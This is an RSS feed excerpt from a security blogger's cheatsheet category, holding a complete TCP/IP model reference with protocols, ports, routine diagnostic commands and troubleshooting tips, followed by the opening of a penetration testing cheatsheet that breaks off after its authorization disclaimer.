<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cheatsheet Archives | Abdul Wahab Junaid</title>
	<atom:link href="https://awjunaid.com/category/cheatsheet/feed/" rel="self" type="application/rss+xml" />
	<link>https://awjunaid.com/category/cheatsheet/</link>
	<description>Offensive Security Researcher &#38; Quantum Cryptography Analyst</description>
	<lastBuildDate>Tue, 28 Jul 2026 21:07:38 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://i0.wp.com/awjunaid.com/wp-content/uploads/2023/06/cropped-1668274976669.jpeg?fit=32%2C32&#038;ssl=1</url>
	<title>Cheatsheet Archives | Abdul Wahab Junaid</title>
	<link>https://awjunaid.com/category/cheatsheet/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">220030102</site>	<item>
		<title>TCP/IP Model Cheat Sheet: Complete Guide to Layers, Protocols, and Functions</title>
		<link>https://awjunaid.com/cheatsheet/tcp-ip-model-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/tcp-ip-model-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Wed, 22 Jan 2025 14:19:29 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[networking]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=9499</guid>

					<description><![CDATA[<p>If you&#8217;ve ever tried to learn networking and got lost switching between the OSI model and the TCP/IP&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/tcp-ip-model-cheat-sheet/">TCP/IP Model Cheat Sheet: Complete Guide to Layers, Protocols, and Functions</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If you&#8217;ve ever tried to learn networking and got lost switching between the OSI model and the TCP/IP model, you&#8217;re not alone. I&#8217;ve been there — flipping between diagrams that don&#8217;t quite match, wondering why one chart has seven layers and another has four. This cheat sheet is my attempt to lay out the TCP/IP model in a way that&#8217;s actually usable, whether you&#8217;re studying for a CompTIA Network+ or CCNA exam, prepping for a sysadmin interview, or just trying to figure out why a packet isn&#8217;t reaching its destination at 2 AM.</p>



<p class="wp-block-paragraph">I&#8217;ll walk through every layer, the protocols that live there, how they map to the OSI model, and the practical commands you&#8217;ll actually use to troubleshoot each one. Bookmark this page — it&#8217;s built to be a reference you come back to.</p>



<h2 class="wp-block-heading">What Is the TCP/IP Model?</h2>



<p class="wp-block-paragraph">The TCP/IP model (also called the Internet Protocol Suite) is the practical, real-world framework that describes how data travels across networks — including the internet itself. It was developed by the U.S. Department of Defense in the 1970s, well before the OSI model existed, and it&#8217;s the model that actually runs the internet today.</p>



<p class="wp-block-paragraph">Unlike the OSI model&#8217;s seven layers, the TCP/IP model condenses everything into four layers (sometimes described as five, depending on the textbook). It&#8217;s less theoretical and more focused on what actually happens when your laptop talks to a web server on the other side of the planet.</p>



<p class="wp-block-paragraph">Here&#8217;s the quick snapshot before I go deeper:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Layer</th><th>Name</th><th>Primary Job</th><th>Example Protocols</th></tr></thead><tbody><tr><td>4</td><td>Application</td><td>User-facing services and data formatting</td><td>HTTP, HTTPS, FTP, DNS, SMTP, SSH</td></tr><tr><td>3</td><td>Transport</td><td>End-to-end delivery, reliability, ports</td><td>TCP, UDP</td></tr><tr><td>2</td><td>Internet</td><td>Logical addressing and routing</td><td>IP, ICMP, ARP</td></tr><tr><td>1</td><td>Network Access (Link)</td><td>Physical transmission and framing</td><td>Ethernet, Wi-Fi, PPP, ARP</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">TCP/IP Model vs OSI Model: Layer Mapping</h2>



<p class="wp-block-paragraph">This is the comparison everyone searches for, so let&#8217;s get it out of the way early.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>OSI Layer</th><th>OSI Name</th><th>TCP/IP Layer</th><th>TCP/IP Name</th></tr></thead><tbody><tr><td>7</td><td>Application</td><td>4</td><td>Application</td></tr><tr><td>6</td><td>Presentation</td><td>4</td><td>Application</td></tr><tr><td>5</td><td>Session</td><td>4</td><td>Application</td></tr><tr><td>4</td><td>Transport</td><td>3</td><td>Transport</td></tr><tr><td>3</td><td>Network</td><td>2</td><td>Internet</td></tr><tr><td>2</td><td>Data Link</td><td>1</td><td>Network Access</td></tr><tr><td>1</td><td>Physical</td><td>1</td><td>Network Access</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">The main difference: TCP/IP merges OSI&#8217;s Application, Presentation, and Session layers into a single Application layer, and it merges the Physical and Data Link layers into one Network Access (or Link) layer. If an interviewer asks you to explain the difference in one sentence, that&#8217;s it — TCP/IP is a condensed, practical model; OSI is a detailed, theoretical reference model.</p>



<h2 class="wp-block-heading">Layer 1: Network Access (Link) Layer</h2>



<p class="wp-block-paragraph">This is the bottom layer, and it&#8217;s responsible for the physical and logical connection between a device and the network medium — cables, network interface cards, switches, and wireless radios all live here conceptually.</p>



<h3 class="wp-block-heading">What It Does</h3>



<ul class="wp-block-list">
<li>Converts data into bits for transmission over physical media (copper, fiber, radio waves)</li>



<li>Handles MAC (Media Access Control) addressing</li>



<li>Manages framing — packaging data into frames with headers and trailers</li>



<li>Detects transmission errors at the physical level</li>
</ul>



<h3 class="wp-block-heading">Key Protocols and Technologies</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Protocol/Tech</th><th>Purpose</th><th>Notes</th></tr></thead><tbody><tr><td>Ethernet (802.3)</td><td>Wired LAN standard</td><td>Most common wired networking standard</td></tr><tr><td>Wi-Fi (802.11)</td><td>Wireless LAN standard</td><td>a/b/g/n/ac/ax variants exist</td></tr><tr><td>ARP</td><td>Maps IP addresses to MAC addresses</td><td>Technically bridges Layer 1/2 and Layer 2 (Internet) functions</td></tr><tr><td>PPP</td><td>Point-to-point serial connections</td><td>Common in older WAN links, VPNs</td></tr><tr><td>MAC Address</td><td>48-bit hardware address</td><td>Format: <code>00:1A:2B:3C:4D:5E</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Common Commands</h3>



<pre class="wp-block-code"><code># View MAC address and network interfaces (Linux)
ip link show

# View MAC address (Windows)
ipconfig /all

# View ARP table (cross-platform)
arp -a

# Check interface statistics (Linux)
ethtool eth0
</code></pre>



<p class="wp-block-paragraph"><strong>Example output of <code>arp -a</code>:</strong></p>



<pre class="wp-block-code"><code>? (192.168.1.1) at 00:1a:2b:3c:4d:5e &#91;ether] on eth0
? (192.168.1.15) at f4:5c:89:12:34:56 &#91;ether] on eth0
</code></pre>



<p class="wp-block-paragraph">This tells you which MAC address corresponds to which IP address on your local network — useful when you&#8217;re chasing down duplicate IP conflicts or unauthorized devices.</p>



<h2 class="wp-block-heading">Layer 2: Internet Layer</h2>



<p class="wp-block-paragraph">This is where IP addressing and routing decisions happen. If the Network Access layer is about &#8220;how do I get onto the wire,&#8221; the Internet layer is about &#8220;where does this data actually need to go.&#8221;</p>



<h3 class="wp-block-heading">What It Does</h3>



<ul class="wp-block-list">
<li>Assigns and interprets logical (IP) addresses</li>



<li>Routes packets between networks</li>



<li>Fragments and reassembles packets when needed</li>



<li>Handles error reporting and diagnostics via ICMP</li>
</ul>



<h3 class="wp-block-heading">Key Protocols</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Protocol</th><th>Purpose</th><th>Port/Type</th></tr></thead><tbody><tr><td>IPv4</td><td>32-bit logical addressing</td><td>N/A</td></tr><tr><td>IPv6</td><td>128-bit logical addressing</td><td>N/A</td></tr><tr><td>ICMP</td><td>Error reporting, diagnostics (ping, traceroute)</td><td>N/A</td></tr><tr><td>ARP</td><td>Resolves IP to MAC</td><td>N/A</td></tr><tr><td>IGMP</td><td>Manages multicast group membership</td><td>N/A</td></tr><tr><td>IPsec</td><td>Encrypts and authenticates IP packets</td><td>N/A</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">IPv4 Address Classes (Reference Table)</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Class</th><th>Range</th><th>Default Subnet Mask</th><th>Use Case</th></tr></thead><tbody><tr><td>A</td><td>1.0.0.0 – 126.255.255.255</td><td>255.0.0.0 (/8)</td><td>Large networks</td></tr><tr><td>B</td><td>128.0.0.0 – 191.255.255.255</td><td>255.255.0.0 (/16)</td><td>Medium networks</td></tr><tr><td>C</td><td>192.0.0.0 – 223.255.255.255</td><td>255.255.255.0 (/24)</td><td>Small networks</td></tr><tr><td>D</td><td>224.0.0.0 – 239.255.255.255</td><td>N/A</td><td>Multicast</td></tr><tr><td>E</td><td>240.0.0.0 – 255.255.255.255</td><td>N/A</td><td>Experimental/Reserved</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Private IP Ranges (You&#8217;ll See These Constantly)</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Range</th><th>CIDR</th><th>Typical Use</th></tr></thead><tbody><tr><td>10.0.0.0 – 10.255.255.255</td><td>/8</td><td>Large enterprise networks</td></tr><tr><td>172.16.0.0 – 172.31.255.255</td><td>/12</td><td>Medium-sized networks</td></tr><tr><td>192.168.0.0 – 192.168.255.255</td><td>/16</td><td>Home and small office networks</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Common Commands</h3>



<pre class="wp-block-code"><code># Check your IP configuration (Linux)
ip addr show

# Check your IP configuration (Windows)
ipconfig

# Check your IP configuration (macOS)
ifconfig

# Test reachability
ping 8.8.8.8

# Trace the route packets take
traceroute google.com      # Linux/macOS
tracert google.com         # Windows

# Show the routing table
ip route show               # Linux
route print                 # Windows
netstat -rn                 # macOS/Linux
</code></pre>



<p class="wp-block-paragraph"><strong>Example output of <code>ping</code>:</strong></p>



<pre class="wp-block-code"><code>PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=118 time=14.2 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=13.8 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
</code></pre>



<p class="wp-block-paragraph">If you see 100% packet loss here, the problem is likely somewhere at this layer or below — routing, firewall rules, or physical connectivity.</p>



<h2 class="wp-block-heading">Layer 3: Transport Layer</h2>



<p class="wp-block-paragraph">This layer is where I&#8217;d say the real personality of TCP/IP shows up. It decides whether your data needs to arrive perfectly intact (TCP) or whether speed matters more than reliability (UDP).</p>



<h3 class="wp-block-heading">What It Does</h3>



<ul class="wp-block-list">
<li>Establishes end-to-end communication between hosts</li>



<li>Segments data and manages flow control</li>



<li>Handles error correction and retransmission (TCP only)</li>



<li>Uses port numbers to direct traffic to the correct application</li>
</ul>



<h3 class="wp-block-heading">TCP vs UDP: The Classic Comparison</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>TCP</th><th>UDP</th></tr></thead><tbody><tr><td>Connection type</td><td>Connection-oriented</td><td>Connectionless</td></tr><tr><td>Reliability</td><td>Guaranteed delivery, retransmits lost packets</td><td>No guarantee</td></tr><tr><td>Ordering</td><td>Preserves order</td><td>No ordering guarantee</td></tr><tr><td>Speed</td><td>Slower (overhead from handshakes/acks)</td><td>Faster (minimal overhead)</td></tr><tr><td>Header size</td><td>20–60 bytes</td><td>8 bytes</td></tr><tr><td>Use cases</td><td>Web browsing, email, file transfer</td><td>Streaming, gaming, DNS, VoIP</td></tr><tr><td>Flow control</td><td>Yes</td><td>No</td></tr><tr><td>Error checking</td><td>Yes, with retransmission</td><td>Checksum only, no recovery</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">The TCP Three-Way Handshake</h3>



<p class="wp-block-paragraph">This is a near-guaranteed interview question, so know it cold:</p>



<ol class="wp-block-list">
<li><strong>SYN</strong> — Client sends a synchronize packet to the server to initiate connection</li>



<li><strong>SYN-ACK</strong> — Server responds with synchronize-acknowledge</li>



<li><strong>ACK</strong> — Client sends acknowledge, and the connection is established</li>
</ol>



<p class="wp-block-paragraph">And when closing a connection, TCP uses a four-way handshake (FIN, ACK, FIN, ACK) since both sides need to independently signal they&#8217;re done sending data.</p>



<h3 class="wp-block-heading">Common Well-Known Ports</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Port</th><th>Protocol</th><th>Service</th></tr></thead><tbody><tr><td>20/21</td><td>TCP</td><td>FTP (data/control)</td></tr><tr><td>22</td><td>TCP</td><td>SSH</td></tr><tr><td>23</td><td>TCP</td><td>Telnet</td></tr><tr><td>25</td><td>TCP</td><td>SMTP</td></tr><tr><td>53</td><td>TCP/UDP</td><td>DNS</td></tr><tr><td>67/68</td><td>UDP</td><td>DHCP</td></tr><tr><td>80</td><td>TCP</td><td>HTTP</td></tr><tr><td>110</td><td>TCP</td><td>POP3</td></tr><tr><td>143</td><td>TCP</td><td>IMAP</td></tr><tr><td>443</td><td>TCP</td><td>HTTPS</td></tr><tr><td>3389</td><td>TCP</td><td>RDP</td></tr><tr><td>3306</td><td>TCP</td><td>MySQL</td></tr><tr><td>5432</td><td>TCP</td><td>PostgreSQL</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Common Commands</h3>



<pre class="wp-block-code"><code># View active connections and listening ports
netstat -tuln          # Linux
netstat -an             # Windows/macOS

# Modern alternative to netstat on Linux
ss -tuln

# Check if a specific port is open on a remote host
nc -zv example.com 443

# Test a TCP connection with telnet
telnet example.com 80
</code></pre>



<p class="wp-block-paragraph"><strong>Example output of <code>ss -tuln</code>:</strong></p>



<pre class="wp-block-code"><code>Netid  State   Local Address:Port   Peer Address:Port
tcp    LISTEN  0.0.0.0:22           0.0.0.0:*
tcp    LISTEN  0.0.0.0:443          0.0.0.0:*
udp    UNCONN  0.0.0.0:68           0.0.0.0:*
</code></pre>



<p class="wp-block-paragraph">This tells you exactly which services are listening and on what ports — a first step in both troubleshooting and basic security auditing.</p>



<h2 class="wp-block-heading">Layer 4: Application Layer</h2>



<p class="wp-block-paragraph">This is the layer users actually interact with, even if they don&#8217;t realize it. Every time you open a browser, send an email, or SSH into a server, you&#8217;re working at this layer.</p>



<h3 class="wp-block-heading">What It Does</h3>



<ul class="wp-block-list">
<li>Provides network services directly to applications</li>



<li>Handles data formatting, encryption, and session management (functions that OSI splits into separate layers)</li>



<li>Defines how applications communicate over the network</li>
</ul>



<h3 class="wp-block-heading">Key Protocols</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Protocol</th><th>Purpose</th><th>Default Port</th></tr></thead><tbody><tr><td>HTTP</td><td>Web page transfer</td><td>80</td></tr><tr><td>HTTPS</td><td>Encrypted web transfer</td><td>443</td></tr><tr><td>FTP</td><td>File transfer</td><td>20/21</td></tr><tr><td>SFTP</td><td>Secure file transfer (over SSH)</td><td>22</td></tr><tr><td>SSH</td><td>Secure remote login</td><td>22</td></tr><tr><td>Telnet</td><td>Unencrypted remote login (legacy)</td><td>23</td></tr><tr><td>SMTP</td><td>Sending email</td><td>25</td></tr><tr><td>POP3</td><td>Retrieving email (download and delete)</td><td>110</td></tr><tr><td>IMAP</td><td>Retrieving email (sync across devices)</td><td>143</td></tr><tr><td>DNS</td><td>Domain name resolution</td><td>53</td></tr><tr><td>DHCP</td><td>Automatic IP assignment</td><td>67/68</td></tr><tr><td>SNMP</td><td>Network device monitoring</td><td>161/162</td></tr><tr><td>NTP</td><td>Time synchronization</td><td>123</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Common Commands</h3>



<pre class="wp-block-code"><code># DNS lookups
nslookup example.com
dig example.com
host example.com

# Detailed DNS record query
dig example.com MX

# HTTP request from the command line
curl -I https://example.com

# Check DHCP lease info (Linux)
cat /var/lib/dhcp/dhclient.leases

# Renew DHCP lease
dhclient -r &amp;&amp; dhclient      # Linux
ipconfig /release &amp;&amp; ipconfig /renew   # Windows
</code></pre>



<p class="wp-block-paragraph"><strong>Example output of <code>dig example.com</code>:</strong></p>



<pre class="wp-block-code"><code>;; ANSWER SECTION:
example.com.        86400   IN      A       93.184.216.34

;; Query time: 24 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
</code></pre>



<h2 class="wp-block-heading">How Data Moves Through the Layers: Encapsulation</h2>



<p class="wp-block-paragraph">Understanding encapsulation is what makes the whole model click. As data moves down the stack on the sending device, each layer wraps the data from the layer above it with its own header (and sometimes a trailer).</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Layer</th><th>Data Unit (PDU)</th><th>What Gets Added</th></tr></thead><tbody><tr><td>Application</td><td>Data</td><td>Application-specific formatting</td></tr><tr><td>Transport</td><td>Segment (TCP) / Datagram (UDP)</td><td>Source/destination port numbers</td></tr><tr><td>Internet</td><td>Packet</td><td>Source/destination IP addresses</td></tr><tr><td>Network Access</td><td>Frame</td><td>Source/destination MAC addresses</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">On the receiving end, this process reverses — it&#8217;s called <strong>de-encapsulation</strong>. Each layer strips off its corresponding header as the data climbs back up the stack to the receiving application. A simple way to remember the encapsulation order: <strong>Data → Segment → Packet → Frame → Bits</strong>.</p>



<h2 class="wp-block-heading">Best Practices for Working With TCP/IP Networks</h2>



<ul class="wp-block-list">
<li><strong>Use private IP ranges for internal networks</strong> and NAT for internet access — don&#8217;t expose internal devices directly to public IPs unless absolutely necessary.</li>



<li><strong>Segment your network with VLANs and subnets</strong> to contain broadcast domains and limit the blast radius of a compromised device.</li>



<li><strong>Prefer TCP for anything requiring reliability</strong> (file transfers, financial transactions) and UDP for latency-sensitive applications (VoIP, live video, gaming).</li>



<li><strong>Close unused ports.</strong> Every open port is a potential attack surface — audit regularly with <code>nmap</code> or <code>ss</code>.</li>



<li><strong>Use DHCP reservations for critical infrastructure</strong> (printers, servers) instead of full static assignment, so you keep centralized visibility without losing predictability.</li>



<li><strong>Monitor ARP tables periodically</strong> on sensitive networks to catch ARP spoofing attempts.</li>



<li><strong>Keep TTL and MTU settings in mind</strong> when diagnosing weird intermittent connectivity issues — mismatched MTU is a classic, hard-to-spot problem in VPN and tunnel setups.</li>



<li><strong>Document your IP addressing scheme.</strong> I know it sounds basic, but undocumented static IPs are one of the most common causes of conflicts in growing networks.</li>
</ul>



<h2 class="wp-block-heading">Troubleshooting Guide by Layer</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Symptom</th><th>Likely Layer</th><th>What to Check</th></tr></thead><tbody><tr><td>No physical link light</td><td>Network Access</td><td>Cable, NIC, switch port</td></tr><tr><td>Device has no IP address</td><td>Internet</td><td>DHCP service, cable, VLAN config</td></tr><tr><td>Can ping IP but not hostname</td><td>Application</td><td>DNS server settings</td></tr><tr><td>Can ping locally but not externally</td><td>Internet</td><td>Default gateway, routing table</td></tr><tr><td>Website loads slowly, times out</td><td>Transport</td><td>Port availability, firewall rules, TCP retransmissions</td></tr><tr><td>&#8220;Connection refused&#8221; error</td><td>Transport</td><td>Check if service is actually listening (<code>ss</code>/<code>netstat</code>)</td></tr><tr><td>&#8220;Destination unreachable&#8221;</td><td>Internet</td><td>Routing, firewall ACLs</td></tr><tr><td>Intermittent packet loss</td><td>Network Access/Internet</td><td>Cabling, duplex mismatch, congestion</td></tr><tr><td>SSL/TLS handshake failure</td><td>Application</td><td>Certificate validity, protocol version support</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">A Practical Troubleshooting Workflow</h3>



<ol class="wp-block-list">
<li><strong>Check physical connectivity</strong> — link lights, cable seating, Wi-Fi signal strength</li>



<li><strong>Verify IP configuration</strong> — <code>ipconfig</code>/<code>ip addr</code>, confirm it&#8217;s not a stuck DHCP lease</li>



<li><strong>Test local connectivity</strong> — ping the default gateway</li>



<li><strong>Test external connectivity</strong> — ping a known external IP like <code>8.8.8.8</code></li>



<li><strong>Test DNS resolution</strong> — ping a domain name; if the IP ping works but domain doesn&#8217;t, it&#8217;s DNS</li>



<li><strong>Check the specific service/port</strong> — use <code>telnet</code> or <code>nc</code> to confirm the port is open and listening</li>



<li><strong>Review firewall rules</strong> — both host-based and network firewalls can silently drop traffic</li>
</ol>



<h2 class="wp-block-heading">Real-World Use Cases</h2>



<p class="wp-block-paragraph"><strong>Setting up a small office network:</strong> You&#8217;d typically assign a private range like <code>192.168.1.0/24</code>, configure a router to handle DHCP and NAT, and reserve static IPs for the printer and any local server. Understanding the Internet and Transport layers here helps you troubleshoot why a laptop suddenly can&#8217;t reach the shared drive.</p>



<p class="wp-block-paragraph"><strong>Debugging a &#8220;website is down&#8221; ticket:</strong> This is where the layered troubleshooting workflow really pays off. I&#8217;ve seen cases that looked like an application bug turn out to be a misconfigured firewall silently dropping port 443 traffic — a Transport layer issue masquerading as an Application layer one.</p>



<p class="wp-block-paragraph"><strong>Configuring a VPN:</strong> VPNs typically operate by encapsulating traffic in an additional layer of headers (think IPsec or a TLS tunnel), which is a great real-world example of encapsulation in action — and also a common source of MTU-related headaches.</p>



<p class="wp-block-paragraph"><strong>Choosing between TCP and UDP for an application you&#8217;re building:</strong> If you&#8217;re building a chat app, TCP makes sense since message delivery matters more than speed. If you&#8217;re building a live video call feature, UDP (often via protocols like WebRTC) makes more sense since a dropped frame is better than a delayed one.</p>



<h2 class="wp-block-heading">Frequently Asked Questions</h2>



<p class="wp-block-paragraph"><strong>Q: Is the TCP/IP model the same as the internet?</strong> Not exactly — it&#8217;s the conceptual framework that describes how the internet&#8217;s protocols work together, but &#8220;the internet&#8221; is the physical and logical infrastructure that implements it.</p>



<p class="wp-block-paragraph"><strong>Q: Why does TCP/IP have 4 layers while OSI has 7?</strong> TCP/IP was designed as a practical implementation model, built before OSI existed. OSI came later as a more granular, vendor-neutral teaching and design reference. TCP/IP simply combines functions that OSI splits apart.</p>



<p class="wp-block-paragraph"><strong>Q: Which layer does a firewall operate at?</strong> It depends on the firewall type. Traditional packet-filtering firewalls operate at the Internet and Transport layers (filtering by IP and port). Next-generation firewalls and proxies can inspect traffic up at the Application layer.</p>



<p class="wp-block-paragraph"><strong>Q: Which layer does a switch operate at? What about a router?</strong> A standard switch operates at the Network Access layer (using MAC addresses). A router operates at the Internet layer (using IP addresses) to move traffic between different networks.</p>



<p class="wp-block-paragraph"><strong>Q: What&#8217;s the difference between a socket and a port?</strong> A port is just a number identifying a specific process on a device. A socket is the combination of an IP address and a port number, which together uniquely identify one end of a network connection.</p>



<p class="wp-block-paragraph"><strong>Q: Does the TCP/IP model include a Session or Presentation layer?</strong> No — TCP/IP folds session management (like maintaining a login state) and data presentation (like encryption or encoding) into the single Application layer.</p>



<h2 class="wp-block-heading">Common Interview Questions</h2>



<ol class="wp-block-list">
<li>Explain the layers of the TCP/IP model and their functions.</li>



<li>Walk me through the TCP three-way handshake.</li>



<li>What&#8217;s the difference between TCP and UDP, and when would you choose one over the other?</li>



<li>How does encapsulation work as data moves through the TCP/IP stack?</li>



<li>What happens when you type a URL into a browser and hit enter? (This tests knowledge across every layer.)</li>



<li>What&#8217;s the difference between a public and private IP address?</li>



<li>How does ARP work, and why is it necessary?</li>



<li>What is NAT, and why do most home networks use it?</li>



<li>Explain the difference between IPv4 and IPv6.</li>



<li>What&#8217;s the difference between the TCP/IP model and the OSI model?</li>



<li>What is the purpose of a subnet mask?</li>



<li>How would you troubleshoot a device that can&#8217;t reach the internet?</li>
</ol>



<h2 class="wp-block-heading">Common Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li><strong>Confusing the OSI and TCP/IP models</strong> when answering exam or interview questions — know which one is being asked about, since layer numbering doesn&#8217;t match up 1:1.</li>



<li><strong>Assuming ping failures always mean &#8220;the network is down.&#8221;</strong> ICMP can be blocked by a firewall even when the actual service is reachable — always verify with a port-specific test too.</li>



<li><strong>Forgetting that UDP has no built-in reliability.</strong> If you&#8217;re building on UDP, your application layer needs to handle retransmission logic itself if reliability matters.</li>



<li><strong>Overlooking MTU mismatches</strong> as a cause of &#8220;some sites work, some don&#8217;t&#8221; symptoms, especially over VPNs.</li>



<li><strong>Treating private IP addresses as inherently secure.</strong> NAT is not a security feature by itself — it just hides addressing, it doesn&#8217;t authenticate or encrypt anything.</li>



<li><strong>Not distinguishing between &#8220;connection refused&#8221; and &#8220;connection timed out&#8221;</strong> — the former usually means the port is closed but reachable; the latter usually means a firewall is silently dropping the traffic, or the host is unreachable entirely.</li>



<li><strong>Assuming DNS issues are always server-side.</strong> Often it&#8217;s a local resolver cache or a misconfigured <code>/etc/resolv.conf</code> / DNS client setting.</li>
</ul>



<h2 class="wp-block-heading">Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>TCP/IP MODEL — QUICK REFERENCE

LAYER 4: APPLICATION
  Protocols: HTTP(S), FTP, SSH, DNS, SMTP, IMAP, DHCP
  Job: User-facing services, data formatting

LAYER 3: TRANSPORT
  Protocols: TCP (reliable), UDP (fast, no guarantee)
  Job: End-to-end delivery, ports, flow control
  Handshake: SYN -&gt; SYN-ACK -&gt; ACK

LAYER 2: INTERNET
  Protocols: IP, ICMP, ARP, IGMP
  Job: Logical addressing, routing

LAYER 1: NETWORK ACCESS
  Protocols: Ethernet, Wi-Fi, PPP
  Job: Physical transmission, MAC addressing, framing

ENCAPSULATION ORDER (sending):
  Data -&gt; Segment -&gt; Packet -&gt; Frame -&gt; Bits

KEY COMMANDS:
  ping, traceroute/tracert, nslookup/dig, netstat/ss,
  ipconfig/ip addr, arp -a, curl -I, telnet/nc

KEY PORTS:
  20/21 FTP | 22 SSH | 23 Telnet | 25 SMTP | 53 DNS
  67/68 DHCP | 80 HTTP | 110 POP3 | 143 IMAP | 443 HTTPS
</code></pre>



<h2 class="wp-block-heading">Official Documentation and Further Reading</h2>



<ul class="wp-block-list">
<li><a href="https://www.rfc-editor.org/rfc/rfc1122">RFC 1122 – Requirements for Internet Hosts</a></li>



<li><a href="https://www.rfc-editor.org/rfc/rfc793">RFC 793 – Transmission Control Protocol</a></li>



<li><a href="https://www.rfc-editor.org/rfc/rfc791">RFC 791 – Internet Protocol</a></li>



<li><a href="https://www.rfc-editor.org/rfc/rfc768">RFC 768 – User Datagram Protocol</a></li>



<li><a href="https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml">IANA Service Name and Port Number Registry</a></li>



<li><a href="https://www.cisco.com/c/en/us/support/docs/ip/routing-information-protocol-rip/13769-5.html">Cisco Networking Basics Documentation</a></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">I hope this cheat sheet saves you the back-and-forth searching I used to do when I was first learning this stuff. Keep it handy for exam prep, interview practice, or the next time a production issue has you questioning whether the problem is DNS (it&#8217;s usually DNS).</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/tcp-ip-model-cheat-sheet/">TCP/IP Model Cheat Sheet: Complete Guide to Layers, Protocols, and Functions</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/tcp-ip-model-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">9499</post-id>	</item>
		<item>
		<title>Extended Penetration Testing Cheatsheet: Comprehensive Commands and Techniques</title>
		<link>https://awjunaid.com/ethical-hacking/extended-penetration-testing-cheatsheet/</link>
					<comments>https://awjunaid.com/ethical-hacking/extended-penetration-testing-cheatsheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 31 Oct 2024 14:30:42 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cyber security]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=9121</guid>

					<description><![CDATA[<p>If you&#8217;ve spent any real time in the field, you know a pentest engagement rarely goes exactly according&#8230;</p>
<p>The post <a href="https://awjunaid.com/ethical-hacking/extended-penetration-testing-cheatsheet/">Extended Penetration Testing Cheatsheet: Comprehensive Commands and Techniques</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If you&#8217;ve spent any real time in the field, you know a pentest engagement rarely goes exactly according to the textbook. One client&#8217;s network segment behaves nothing like the last one, a scan that took ten minutes on your last box hangs forever on this one, and half your muscle memory commands need a small tweak because of some firewall quirk nobody documented. Over the years I&#8217;ve kept my own running notes — the commands I actually reach for, in the order I actually use them, with the flags that actually matter. This post is that notebook, cleaned up and organized so you (or future me) can find what&#8217;s needed without digging through ten browser tabs at 2 AM before a report is due.</p>



<p class="wp-block-paragraph">This is written for people who already understand the basics of networking, Linux, and the legal/ethical boundaries of authorized testing. Everything here assumes you have written permission to test the systems in question. Unauthorized use of these techniques against systems you don&#8217;t own or have explicit authorization to test is illegal in most jurisdictions.</p>



<h2 class="wp-block-heading">Table of Contents</h2>



<ul class="wp-block-list">
<li>Pentesting Methodology Overview</li>



